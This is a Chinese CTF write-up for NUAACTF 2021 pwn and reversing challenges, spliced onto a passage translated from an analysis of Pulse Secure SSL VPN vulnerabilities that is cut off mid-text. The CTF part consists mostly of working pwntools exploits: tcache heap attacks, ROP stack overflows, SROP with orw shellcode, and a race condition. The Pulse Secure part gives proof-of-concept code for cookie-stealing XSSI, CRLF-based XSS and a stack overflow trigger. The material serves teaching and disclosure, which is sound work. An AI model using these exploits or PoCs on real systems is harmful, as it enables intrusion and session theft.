1. 申请largebin 然后free进入unsortedbin，泄露libc
2. 构造tcache attack申请到mallochook
3. 构造tcache attack使得tcache指向system
4. free 步骤2中申请到的mallochook，使得mallochook -> system
5. add(“/bin/sh”)触发mallochook，size为longlong类型，可以size=‘/bin/sh’
6. get shell
### 总结
题目条件有很明显的为这种利用方式开路，首先delete的UAF，其次size是longlong类型，可以直接malloc(size)
->system(‘/bin/sh’)，题目隐藏了关键nohook的点（花指令），坑点之一就在这，做提前要看仔细了，之后就是巧妙地用free的顺序绕过了edit对malloc/free
hook的检测，其实就是将mallochook的fd指针指向system就能实现和直接用edit修改mallochook的效果，而tcache链表刚好是由fd来链接的，所以可以通过free顺序实现修改mallochook
-> system。
### exp
#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']
sh = process('./nohook')
#sh = remote('47.104.143.202',25997)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):
sh.recvuntil('exit')
sh.sendline('1')
sh.recvuntil('size:')
sh.sendline(str(size))
def dele(idx):
sh.recvuntil('exit')
sh.sendline('3')
sh.recvuntil('id:')
sh.sendline(str(idx))
def edit(idx,content):
sh.recvuntil('exit')
sh.sendline('4')
sh.recvuntil('id:')
sh.sendline(str(idx))
sh.send(content)
def show(idx):
sh.recvuntil('exit')
sh.sendline('2')
sh.recvuntil('id:')
sh.sendline(str(idx))
add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/sh\x00')
dele(0) # free to unsorted bin
show(0) # UAF
sh.recvuntil('\x7f\x00\x00')
libcbase = u64(sh.recv(6).ljust(8,b'\x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print hex(libcbase)
#gdb.attach(sh)
add(0x30)#2
add(0x30)#3
dele(3)
dele(2)
edit(2,p64(libcbase+libc.sym['__malloc_hook']-0x10))
add(0x30)#4 -2
add(0x30)#5
edit(5,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x10)#6
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8-6
add(0x10)#9 f
######### not used
add(0x10)#10
add(0x10)#11
dele(11)
dele(10)
edit(10,p64(libcbase+libc.sym['__memalign_hook']))
add(0x10)#12
add(0x10)#13
one=[0xe6c7e,0xe6c81,0xe6c84]
edit(13,p64(libcbase+one[0])+p64(0x21))
########### not used
add(0x10)#14
add(0x10)#15
dele(15)
dele(14)
edit(14,p64(libcbase+libc.sym['system']))
add(0x10)
#gdb.attach(sh)
dele(9) # free_hook -> system
gdb.attach(sh)
add(str(binsh-1))
log.success(hex(libcbase))
sh.interactive()
## PWN -> tanchishe (栈溢出)
### 题目分析
程序开了NX，环境2.31，no pie，no
canary，程序函数比较多，是一个贪吃蛇小游戏，找程序漏洞点不好找，可以换个思路，如果是栈的漏洞，栈溢出很常见，那么造成栈溢出的只能是用户输入，那么程序中用户输入的点就一处，就是在结束游戏的时候让输入用户名，所以ida打开直接找到输入name的地方看看有没有漏洞点：
__int64 __fastcall sub_401502(unsigned int a1)
{
__int64 result; // rax
char src[212]; // [rsp+10h] [rbp-100h] BYREF
int v3; // [rsp+E4h] [rbp-2Ch]
__int64 v4; // [rsp+E8h] [rbp-28h]
int v5; // [rsp+F4h] [rbp-1Ch]
__int64 v6; // [rsp+F8h] [rbp-18h]
int (**v7)(const char *, ...); // [rsp+100h] [rbp-10h]
int i; // [rsp+10Ch] [rbp-4h]
v6 = 138464LL;
i = 0;
v5 = 0;
fflush(stdin);
sub_4014C8();
sub_401406(10LL, 5LL);
printf("Your score is in the top five");
fflush(stdout);
sub_401406(10LL, 6LL);
printf("Please enter your name: ");
fflush(stdout);
v7 = &printf;
((void (__fastcall *)(char *))(&printf + 17308))(src); <---------stack over------>
if ( dest )
free(dest);
dest = (char *)malloc(0xC8uLL);
strcpy(dest, src); <-----------heap over--------->
result = a1;
dword_406160 = a1;
for ( i = 4; i > 0; --i )
{
v4 = qword_406120[i];
v3 = dword_406150[i];
if ( v3 <= dword_406150[i - 1] )
{
result = qword_406120[i - 1];
if ( result )
break;
}
dword_406150[i] = dword_406150[i - 1];
qword_406120[i] = qword_406120[i - 1];
dword_406150[i - 1] = v3;
result = v4;
qword_406120[i - 1] = v4;
}
return result;
}
这里有两个点，`(&printf + 17308)`是scanf，这里没有限制长度，栈溢出，下面strcpy复制到heap上，造成heap
overflow。
### 利用方法
通过栈溢出就可以完成利用，溢出覆盖返回地址为puts，泄露libc，然后再次返回input name，再次栈溢出rop返回到system
### exp
#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']
sh = process('./tanchishe')
#sh = remote('47.104.143.202',25997)
#s = ssh(host='127.0.0.1',user='ctf',password='NUAA2021',port=65500)
#sh = s.process('/home/ctf/tanchishe')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./tanchishe')
sh.recvuntil('Continue...')
sh.send('\n')
sh.recvuntil('Exit')
sh.send('\n')
sh.recvuntil('1 and 9.')
sh.send('9')
sh.recv()
sh.recvuntil(':.......::::::...:::::........::..:::::..::....::\n')
sh.send('\n')
pop_rdi = 0x00000000004030e3
pop_rsi_r15 = 0x00000000004030e1
gdb.attach(sh,'b *0x40160E')
sh.recvuntil('your name: ')
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(elf.got['printf'])+p64(elf.plt['puts']) + p64(0x401502) +b'\n')
sh.recvuntil('\xe0')
libcbase = u64( ( b'\xe0' + sh.recv(5)).ljust(8,b'\x00') ) - 0x64de0
log.success(hex(libcbase))
#pause()
binsh = libcbase + libc.search('/bin/sh').next()
log.success(hex(binsh))
#gdb.attach(sh,'b *0x401737')
sh.recvuntil('name')
#gdb.attach(sh,'b *0x401737')
#
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(binsh) +p64(0x401757)+p64(elf.plt['system']) + p64(0x401502) +b'\n')
##############in ssh change system to orw
sh.interactive()
#log.success(hex(libcbase))
## PWN -> leaf (binary tree、UAF)
### 题目分析
题目给的附件是程序leaf和libc-2.31.so，程序保护全开，运行程序：
栖霞山的枫叶红了, 拾起一片枫叶, 写满对你的思念.
1. 写下对你的思念.
2. 交换彼此的思念.
3. 读一封枫叶的书信.
4. 扔下这片枫叶.
5. 让我来切身体会吧.
6. 重新书写这份思念.
Your Choice:
是不是看见这个菜单就头疼呢？我也是，😄，看看ida伪代码，程序在Init函数增加了沙箱，禁用59号调用，查看下程序逻辑：
int __cdecl main(int argc, const char **argv, const char **envp)
{
node *v3; // rax
unsigned int v5; // [rsp+Ch] [rbp-4h]
Init();
root[0] = malloc(0x30uLL);
root[1] = malloc(0x30uLL);
v3 = (node *)root[1];
v3->val = 0x7FFFFFFF;
*(_DWORD *)(root[0] + 40LL) = v3->val;
puts(&byte_21A8);
Menu();
v5 = readi();
if ( v5 <= 6 )
__asm { jmp rax }
Exit();
}
其实是二叉搜索树的实现，主函数新建了两个二叉搜索树root[0],root[1],经过分析二叉树结构体如下：
typedef struct TreeNode {
struct TreeNode *f, *ch[2]; //father、child node
int illegal[2]; // 父节点是否非法，在exchange函数置1
char *confession; // 描述
int val; // 权值
} node;
add函数输入要插入节点内容和权值，Insert函数实现插入：
__int64 __fastcall Insert_localalias(node *a1, const char *a2, unsigned int a3, __int64 a4)
{
struct TreeNode *v4; // rbx
__int64 result; // rax
int i; // [rsp+2Ch] [rbp-14h]
if ( a1->f )
{
for ( i = 0; i <= 1; ++i )
{
if ( a1->f->illegal[i] )
{
a1->f->ch[i] = 0LL;
a1->f->illegal[i] = 0;
}
}
result = (unsigned int)a1->f->val;
if ( a3 != (_DWORD)result )
{
if ( (signed int)a3 >= a1->f->val )
result = Insert_localalias((node *)&a1->f->ch[1], a2, a3, (__int64)a1->f);
else
result = Insert_localalias((node *)a1->f->ch, a2, a3, (__int64)a1->f);
}
}
else
{
a1->f = (struct TreeNode *)malloc(0x30uLL);
a1->f->f = (struct TreeNode *)a4;
a1->f->val = a3;
v4 = a1->f;
result = (__int64)strdup(a2);
v4->confession = (char *)result;
}
return result;
}
判断节点是否存在，存在直接递归插入子节点，做小右大，不存在申请后直接复赋值。</br>
exchange函数：
void Exchange()
{
struct TreeNode *v0; // rbx
int value1; // [rsp+Ch] [rbp-24h]
int value2; // [rsp+10h] [rbp-20h]
int opt; // [rsp+14h] [rbp-1Ch]
node *a1; // [rsp+18h] [rbp-18h]
puts(&byte_2110);
value1 = readi();
puts(&byte_2130);
value2 = readi();
opt = readi();
a1 = find_localalias((node *)root[now], value1);
v0 = a1->f;
v0->illegal[isrson(a1, a1->f)] = 1;
Link_localalias((node *)root[now ^ 1], value2, opt != 0, a1);
}
函数实现子树间的链接，将子树及其所属子节点全部链接到另一颗子树上，在这个过程中
void __fastcall Link_localalias(node *a1, unsigned int a2, unsigned int a3, _QWORD *new_son)
{
if ( a1 && (unsigned int)check(a1) )
{
if ( a2 == a1->val )
{
if ( !a1->ch[a3] )
{
a1->ch[a3] = (struct TreeNode *)new_son;
*new_son = a1;
}
}
else if ( (signed int)a2 >= a1->val )
{
Link_localalias(a1->ch[1], a2, a3, new_son);
}
else
{
Link_localalias(a1->ch[0], a2, a3, new_son);
}
}
}
递归link，将新节点link到子树的固定左（0）右（1）子树上，在link之前会检查父节点的孩子结点的父节点是否是自己，不是说明异常，退出
__int64 __fastcall check(node *a1)
{
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 1; ++i )
{
if ( a1->ch[i] && (unsigned __int16)a1->ch[i]->f != (_WORD)a1 )
return 0LL;
}
return 1LL;
}
这里只检查unsigned short类型，只检查两个字节，可以通过对排列来绕过。
同时，在exchange过程中会存在UAF，在二叉树链接过程中没有将原子树指针置空导致两个子树都可以指向同一个子树节点导致UAF。</br>
再看dele函数：
struct TreeNode *__fastcall Dele_localalias(node *a1)
{
struct TreeNode *result; // rax
result = a1->f;
if ( a1->f )
{
result = (struct TreeNode *)check(a1->f);
if ( (_DWORD)result )
{
Dele_localalias((node *)a1->f->ch);
Dele_localalias((node *)&a1->f->ch[1]);
free(a1->f->confession);
free(a1->f);
result = a1;
a1->f = 0LL;
}
}
return result;
}
同样，a1->f->confession没有置空，为二叉树合并链接制造条件，如果置NULL在exchange的时候UAF就不能用了。这里的删除时将子树整体递归free，而不是只删除一个节点。</br>
菜单选项5是通过异或切换子树,全局变量now控制子树切换。
.text:0000000000001C49 lea rax, now
.text:0000000000001C50 mov eax, [rax]
.text:0000000000001C52 xor eax, 1
.text:0000000000001C55 mov edx, eax
.text:0000000000001C57 lea rax, now
.text:0000000000001C5E mov [rax], edx
.text:0000000000001C60 jmp short loc_1C78
至此，程序逻辑和漏洞点都理的差不多了
### 利用方式
在find、link、dele的时候都会有检查孩子的父节点是不是当前节点，所以在此之前要通过堆排列进行绕过。
1. 通过堆排列绕过check，tcache，exchange合并子树，dele其中一个，造成UAF，泄露libc
2. 通过堆排列绕过check，tcache，exchange造成uaf，free chunk to fastbin 泄露heapbase
3. 得到free hook、setcontext、mprotect地址
4. 写入freehook地址，修改free hook为setcontext+61刷新环境（rsp）到堆地址
5. 通过SOP调用mprotect给内存赋予执行权限，ret跳转到shellcode执行orw读取flag
6. dele触发shellcode。
传送门：[setcontext](https://github.com/1094093288/IMG/blob/master/Pwn/2021anxunbei/wp.md#%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90%E5%8F%8A%E5%8A%9F%E8%83%BD)、[SROP](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#signal)
### exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['/bin/tmux', 'split', '-h']
context.arch = 'amd64'
sh = process('./leaf')
#sh = remote('119.45.24.140', 9349)
libc = ELF('/home/xxx/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6')
#libc = ELF('./libc-2.31.so')
def Write(Until, Text, opt = False):
if not opt:
sh.sendlineafter(Until, Text)
else:
sh.sendafter(Until, Text)
def Add(confession, val):
Write('Choice:', '1')
Write('.', confession, opt = True)
Write('.', str(val))
def Dele(val):
Write('Choice:', '4')
Write('.', str(val))
def Exchange(val1, val2, opt):
Write('Choice:', '2')
Write('.', str(val1))
Write('.', str(val2))
sh.sendline(str(opt))
def Show(val):
Write('Choice:', '3')
Write('.', str(val))
def Edit(val, Content):
Write('Choice:', '6')
Write('?', str(val))
Write('.', Content, opt = True)
def Xor():
Write('Choice:', '5')
# now = 0
Add('a', 100)
Add('a', 200)
Add('a', 2)
# make heap chunk to bypass check
for i in range(16):
Add('a' * 0xf00, 3 + i)
Add('a' * 0x930 + '\x00', 20)
Add('b\x00', 1)
for i in range(8):
Add('a' * 0x80 + '\x00', 201 + i) # 21 - 28
Xor()
# now = 1
Add('a', 1000)
Xor()
Dele(1)
# now = 0
Exchange(201, 1000, 0)
Xor()
# now = 1
Dele(201)
Xor()
# now = 0
Show(201)
sh.recvuntil('\n')
libcbase = u64(sh.recvuntil('\n', drop = True).ljust(8, '\x00')) - libc.symbols['__malloc_hook'] - 0x70
log.success('libcbase: ' + hex(libcbase))
Xor()
# now = 1
for i in range(9):
Add('a' * 0x60 + '\x00', 1001 + i)
for i in range(16):
Add('a' * 0xf00 + '\x00', 1500 + i)
Xor()
# 0
Add('a' * 0x3c0 + '\x00', 201)
Xor()
# 1
Add('a' * 0x100 + '\x00', 1517)
for i in range(7): # fill tcache
Add('a' * 0x100 + '\x00', 1600 + i)
Dele(1600)
Add('a' * 0x300 + '\x00', 5000)
Add('a' * 0x3c0 + '\x00', 5001)
Add('a' * 0x3c0 + '\x00', 5002)
Dele(5001) # tcache[0x3d0]
Dele(1517) # free to unsortedbin
Xor()
# now = 0
# Add('b' * 0x70 + '\x00', 201)
Exchange(201, 1000, 0)
Xor()
# now = 1
Dele(201) # note free to fastbin,note's confession to tcache
Xor()
# now = 0
Show(201)
sh.recvuntil('\n')
heapbase = u64(sh.recvuntil('\n', drop = True).ljust(8, '\x00')) - 0x21e10
log.success('heapbase: ' + hex(heapbase))
#gdb.attach(sh)
free_hook = libc.symbols['__free_hook'] + libcbase
magic_addr = libcbase + libc.symbols['setcontext'] + 61
mprotect_addr = libcbase + libc.symbols['mprotect']
# Exchange_Addr = libcbase + 0x1547a0
Exchange_Addr = libcbase + 0x0000000000154930 # context+61
Edit(201, p64(free_hook)[0:6])
Add('a' * 0x3c0 + '\x00', 201)
Add('b' * 0x3c0 + '\x00', 202)
Edit(202, p64(Exchange_Addr))
# orw
shellcode = '''
mov rax,0x67616c662f2e
push rax
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall
mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall
mov rdi,0
mov rax,60
syscall
'''
frame = SigreturnFrame()
frame.rsp = heapbase + 0x10630 + 0x150
frame.rdi = heapbase
frame.rsi = 0x20000
frame.rdx = 4 | 2 | 1
frame.rip = mprotect_addr
print str(frame)[0x28:]
payload = p64(0x12345678) + p64(0x10630 + heapbase + 0x10) + p64(0x0) * 0x4 + p64(magic_addr) + str(frame)[0x28:]
payload = payload.ljust(0x150, 'a')
gdb.attach(sh)
Edit(20, payload + p64(heapbase + 0x10630 + 0x158) + asm(shellcode))
# gdb.attach(sh, 'b * {0}'.format(Exchange_Addr))
# Dele(201)
# now = 1
Dele(20)
sh.interactive()
### 总结
题目出的新颖，巧妙利用二叉树合并的过程制造UAF漏洞，题目还加了基础check来检测节点是否合法，将栈迁移到堆上进行rop去orw。不能getshell的前提下可以修改freehook为setcontext去在堆上制造orw读取flag。
## PWN -> thread (线程、临界资源)
### 题目分析
ida打开程序可以看到初始balance=1000，当balance>10001的时候，会读取flag，再看sale函数是按原价的9折卖出的，根本不可能大于1000，此时注意到sale函数中
void *Sale_Handler(void *arg)
{
balance += Size * 90;
sleep(1);
Size = 0;
}
加上balance后sleep(1),之后才size =
0，而且程序是用线程处理的，可以实现买一次，在1秒内卖两次就可以使得balance>1000,从而换取读取flag
void Buy_Flag()
{
if (balance >= 1001)
{
int fd = open("./flag", 0);
char buf[0x30];
read(fd, buf, 0x30);
write(1, buf, 0x30);
close(fd);
balance -= 1001;
}
else
{
puts("Your don't have enough money!");
}
}
### 利用
写脚本，买一次卖两次，之后换取flag
### exp
存在随机性，多运行几次。
from pwn import *
context.log_level = 'debug'
sh = process('./thread')
#sh = remote('119.45.24.140', 9373)
sh.sendline('1')
sleep(0.05)
sh.sendline('10')
sleep(0.05)
sh.sendline('2')
#sleep(0.05)
sh.sendline('2')
#sleep(0.05)
sh.sendline('4')
sh.interactive()
### 总结
拿到题目的时候分析，没有全面的思考，一直在整数溢出的地方尝试，发现不行，没有注意到sale函数的sleep(1)的作用，做题思路一定要发散，不能墨守成规。注意审题！
## PWN -> noleak (堆溢出、close(1)、orw)
### 题目分析
保护全开，环境2.31，题目给了libc和程序，但是发现运行程序没有输出，ida查看：
init函数：
__int64 sub_14A8()
{
unsigned int v0; // eax
int v1; // eax
__int64 v3; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v0 = time(0LL);
srand(v0);
v1 = rand();
malloc(10 * (v1 % 16) + 16);
v3 = seccomp_init(0x7FFF0000LL);
seccomp_rule_add(v3, 0LL, 59LL, 0LL);
return seccomp_load(v3);
}
随机申请内存，沙箱禁用59号调用。
程序关闭了标准输出流close(1),main函数：
void __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // [rsp+Ch] [rbp-4h]
init_0();
printf("a gift from Asuri: %x\n", (unsigned __int16)&printf);
puts("in return for the gift, you can't get any output on your screen");
puts("how can you leak my info this time");
close(1); <------close stdout---->
while ( 1 )
{
v3 = sub_1458();
if ( v3 <= 5 )
break;
puts("invalid");
}
__asm { jmp rax }
}
程序输出了libc函数两字节的偏移，程序有add、dele、show、edit功能，后门system(‘/bin/sh’)并没有用。</br>
add函数只检查了idx<=0x1f,size<=0x60,个数没有限制，也可以重复覆盖添加：
int add()
{
int result; // eax
unsigned int size; // [rsp+0h] [rbp-10h]
unsigned int size_4; // [rsp+4h] [rbp-Ch]
void *v3; // [rsp+8h] [rbp-8h]
size = sub_1405();
size_4 = sub_1405();
if ( size > 0x60 )
return puts("too big");
if ( size_4 > 0x1F )
return puts("out of range");
((void (*)(void))((char *)&sub_1318 + 1))();
v3 = malloc(size);
readn(v3, size);
qword_4080[size_4] = v3;
result = size;
dword_4180[size_4] = size;
return result;
}
readn函数:
unsigned __int64 __fastcall sub_136E(__int64 a1, unsigned int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
*(_BYTE *)(a2 - 1LL + a1) = 0;
for ( i = 0; i < a2 - 1; ++i ) <-----整数溢出---->
{
read(0, &buf, 1uLL);
if ( buf == 10 )
return __readfsqword(0x28u) ^ v5;
*(_BYTE *)(a1 + i) = buf;
}
((void (*)(void))((char *)&sub_1318 + 1))();
return __readfsqword(0x28u) ^ v5;
}
当size=0时，malloc申请0x20大小的chunk，但是输入的时候undigested int a2-1就会是很大的正数导致堆溢出。
### 利用思路
存在沙箱不能回去shell，只能orw读取flag，在此之前需要泄露地址，应先修改fileno=2，标准输出流（stdout）指向stderr实现输出，之后制造chunk
overlap利用unsortedbin泄露libc，用tcache attack泄露heap地址和environ地址（stack
address），然后再堆上布置orw的rop链，由于程序最大能读入0x60大小的内容，所以应多次利用tcache attack
分段申请chunk向heap里写入orw rop，最后将栈迁移到heap完成利用。
注意：由于沙箱函数在初始化的时候会申请和释放很多chunk，所以早布置对的时候最好把堆填充清理一下。
**步骤：**
1. 申请一些沙箱初始化过程中free的chunk，有助于布置堆
2. add一个size=0的chunk和一些用于overlap的chunk，edit(0)利用堆溢出实现chunk overlap
3. free两个0x70的chunk用于修改fileno，再free(1)将chunk放入unsortedbin
4. 制造unsortedbin和tcache指向同一个地址，申请unsortedbin去修改tcache链指向
5. edit(0)通过堆溢出实现堆块大小再分配并向chunk2处写入fileno偏移，tcache attack实现stdout->stderr
6. 在unsortedbin里malloc chunk，leak libc，此时chunk2和unsortedbin的chunk1指向同一个地址
7. 通过tcache attack leak heapaddress and stackaddress
8. 向heap写入./flag，将orw rop分段写入heap
9. 程序返回时将栈迁移到heap的orw处读取flag文件
### 总结
这道题目也是调试了好长时间，理清了其中的利用思路，由于关闭了stdout，脚本在利用的时候会出现乱序或者申请数量不对的情况，需要多运行几次，了解了重定向stdout->stderr的方法，orw和栈迁移。
## Re -> Warm up (xor)
一个很简单的逆向，程序加了反调试，不过静态看也完全够了，ida分析可知只是在 construct 过程中加了另一个异或和反调试。
unsigned __int64 sub_84A()
{
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 33; ++i )
s1[i] ^= 2 * i + 65;
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_8C3()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( ptrace(PTRACE_TRACEME, 0LL, 1LL, 0LL) < 0 )
{
while ( 1 )
;
}
return __readfsqword(0x28u) ^ v1;
}
就是一个亦或,exp如下：
s2=[ 0x56, 0x4E, 0x57, 0x58, 0x51, 0x51, 0x09, 0x46, 0x17, 0x46,
0x54, 0x5A, 0x59, 0x59, 0x1F, 0x48, 0x32, 0x5B, 0x6B, 0x7C,
0x75, 0x6E, 0x7E, 0x6E, 0x2F, 0x77, 0x4F, 0x7A, 0x71, 0x43,
0x2B, 0x26, 0x89, 0xFE, 0x00]
s1 = 'qasxcytgsasxcvrefghnrfghnjedfgbhn'
print(len(s1))
for i in range(len(s1)+1):
print(chr(ord(s1[i])^ (2 * i + 65)^s2[i]),end='')
# flag{c0n5truct0r5_functi0n_in_41f}
## 源码附件&wp
[NUAACTF源码](https://github.com/Asuri-Team/NUAACTF2021-Challenges)
[附件wp](https://github.com/1094093288/IMG/tree/master/Pwn/2021NUAACTF) | 社区文章 |
# Pulse Secure SSL VPN远程代码执行漏洞利用与分析
##### 译文声明
本文是翻译文章，文章原作者 orange，文章来源：blog.orange.tw
原文地址：<https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html>
译文仅供参考，具体内容表达以及含义原文为准。
这是攻击SSL VPN系列的最后一部分。如果您还没有阅读过以前的文章，请点击以下链接：
* [像NSA一样渗透企业内部网：在SSL VPN领导厂商的VPN上进行RCE利用](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf)
* [攻击SSL VPN – 第1部分：Palo Alto GlobalProtect上的PreAuth RCE，以Uber作为利用案例](https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html)
* [攻击SSL VPN – 第2部分：利用Fortigate SSL VPN](https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html)
我们在Black
Hat发表我们的研究之后，由于这些漏洞的严重性和巨大影响，它得到了广泛的关注和讨论。很多人都希望得到第一手消息，并想知道什么时候会发布漏洞利用代码，特别是Pulse
Secure preAuth RCE的利用。
我们也在内部进行了讨论。实际上，我们可以毫无顾虑地马上发布漏洞利用细节，并获得大量的关注度。但是，作为一家安全公司，我们的责任是让世界更加安全。因此，我们决定推迟公开披露利用细节，让厂商有更多时间来打补丁！
不幸的是，前段时间有其他人披露了这些漏洞的利用细节。可以很容易在GitHub
[_](https://github.com/projectzeroindia/CVE-2019-11510)和exploit-db
[上找到](https://www.exploit-db.com/exploits/47297)。
我们听说有超过25个漏洞赏金计划都在收集此漏洞利用。根据Bad
Packet的统计数据，众多500强企业，美国军方，政府，金融机构和大学也受此漏洞影响。甚至有10个NASA服务器都存在此漏洞。因此，过早的公开披露细节确实迫使这些企业升级其SSL
VPN。
另一方面越来越多的僵尸网络在扫描公网。因此，如果尚未更新Palo Alto，Fortinet或Pulse Secure SSL VPN，请尽快更新！
## 0x00 Pulse Secure
Pulse Secure是SSL VPN的市场领导者，为IT市场提供专业的安全解决方案。我们已经研究Pulse
Secure的产品很长一段时间了，因为它是Google的关键硬件基础设施，这是我们的长期目标之一。
但是，Google应用了Zero Trust安全模型，因此现在已不使用VPN。
我们去年12月中旬开始研究Pulse Secure。在前两个月，我们一无所获，Pulse
Secure具有良好的编码风格和安全意识，因此很难找到漏洞。这是一个有趣的比较，我们在研究FortiGate SSL
VPN上发现任意文件读取漏洞（CVE-2018-13379）
Pulse Secure的开发团队也是Perl爱好者，并在C ++中编写了大量的Perl扩展。Perl和C
++之间的交互也让我们感到困惑，但是当我们花费更多时间挖掘它时，我们对它也更加熟悉了。最后，我们在2019年3月8日得到了 first
blood！它是管理界面上的一个栈溢出漏洞！虽然这个bug没那么有用，但是我们的研究进展从那时起就开始了，我们发现了越来越多的bug。
我们在2019年3月22日报告了Pulse Secure PSIRT的所有发现。他们的处理很快，他们认真修复处理了这些漏洞！在与Pulse
Secure进行了多次电话会议后，他们在一个月内修复了所有漏洞，并于2019年4月24日发布了补丁。
这是与Pulse Secure的一次良好合作合作。从我们的角度来看，Pulse Secure是我们报告漏洞的所有SSL VPN供应商中最负责任的供应商！
## 0x01挖掘的漏洞
我们总共发现了7个漏洞，后面将介绍每一个漏洞，但更多关注CVE-2019-11510和CVE-2019-11539这两个漏洞。
* CVE-2019-11510 – Pre-auth任意文件读取漏洞
* CVE-2019-11542 – 管理员授权后堆栈缓冲区溢出漏洞
* CVE-2019-11539 – 管理员授权后命令注入漏洞
* CVE-2019-11538 – 用户授权后通过NFS进行任意文件读取漏洞
* CVE-2019-11508 – 用户通过NFS进行授权后任意文件写入漏洞
* CVE-2019-11540 – 授权后跨站脚本包含漏洞
* CVE-2019-11507 – 授权后跨站脚本攻击
## 0x02 受影响版本
* Pulse Connect Secure 9.0R1 – 9.0R3.3
* Pulse Connect Secure 8.3R1 – 8.3R7
* Pulse Connect Secure 8.2R1 – 8.2R12
* Pulse Connect Secure 8.1R1 – 8.1R15
* Pulse Policy Secure 9.0R1 – 9.0R3.3
* Pulse Policy Secure 5.4R1 – 5.4R7
* Pulse Policy Secure 5.3R1 – 5.3R12
* Pulse Policy Secure 5.2R1 – 5.2R12
* Pulse Policy Secure 5.1R1 – 5.1R15
## 0x03 漏洞分析
### 1.CVE-2019-11540：跨站脚本包含漏洞
脚本/dana/cs/cs.cgi用于在JavaScript中呈现会话ID，当内容类型设置为：
application/x-javascript
我们可以执行XSSI攻击来窃取DSID cookie！
更糟糕的是，Pulse Secure SSL VPN中的CSRF保护基于DSID。有了这个XSSI，我们可以绕过所有的CSRF保护！
PoC如下：
<!-- http://attacker/malicious.html -->
<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
<script>
window.onload = function() {
window.document.writeln = function (msg) {
if (msg.indexOf("DSID") >= 0) alert(msg)
}
ReplaceContent()
}
</script>
### 2.CVE-2019-11507：跨站脚本攻击
有一个CRLF注入
/dana/home/cts_get_ica.cgi
由于这个注入漏洞，我们可以伪造任意HTTP头并注入恶意HTML内容。
PoC如下：
https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>
### 3.CVE-2019-11538：通过NFS进行授权后任意文件读取
以下两个漏洞（CVE-2019-11538和CVE-2019-11508）不会影响默认配置。仅当管理员为VPN用户配置NFS共享时才会出现。
如果攻击者可以控制远程NFS服务器上的任何文件，他只需创建指向任何文件的符号链接，例如
/etc/passwd
并从Web界面读取它，漏洞根本原因是NFS的实现将远程服务器挂载为真正的Linux目录，并且脚本
/dana/fb/nfs/nfb.cgi
不检查所访问的文件是否是符号链接！
### 4.CVE-2019-11508：通过NFS进行授权后任意文件写入
这个有点类似于前一个漏洞，但有不同的攻击向量（attack vector）！
当攻击者通过Web界面将ZIP文件上载到NFS时，脚本
/dana/fb/nfs/nu.cgi
不会清理ZIP中的文件名，因此，攻击者可以构建恶意ZIP文件并使用
../
文件名遍历路径！一旦Pulse Secure解压缩，攻击者就可以将任何他想要的内容上传到任何路径！
### 5.CVE-2019-11542：管理员授权后缓冲区溢出漏洞
在以下Perl模块实现中存在基于堆栈的缓冲区溢出漏洞：
* DSHC :: ConsiderForReporting
* DSHC :: isSendReasonStringEnabled
* DSHC :: getRemedCustomInstructions
这些实现用于
sprintf
连接字符串而不进行任何长度检查，就会导致缓冲区溢出，这个bug可以在很多地方触发
/dana-admin/auth/hc.cgi
PoC：
https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0
可以从输出观察到段错误：
dmesg
cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]
### 6.CVE-2019-11510：Pre-auth任意文件读取漏洞
这是最严重的一个漏洞，Pulse Secure开发自己的Web服务器和架构，原始路径验证非常严格。但是，从版本8.2开始，Pulse
Secure引入了一项名为HTML5
Access的新功能，它是一种用于通过浏览器与Telnet，SSH和RDP交互的功能。由于这个新功能，原始路径验证变得松散。
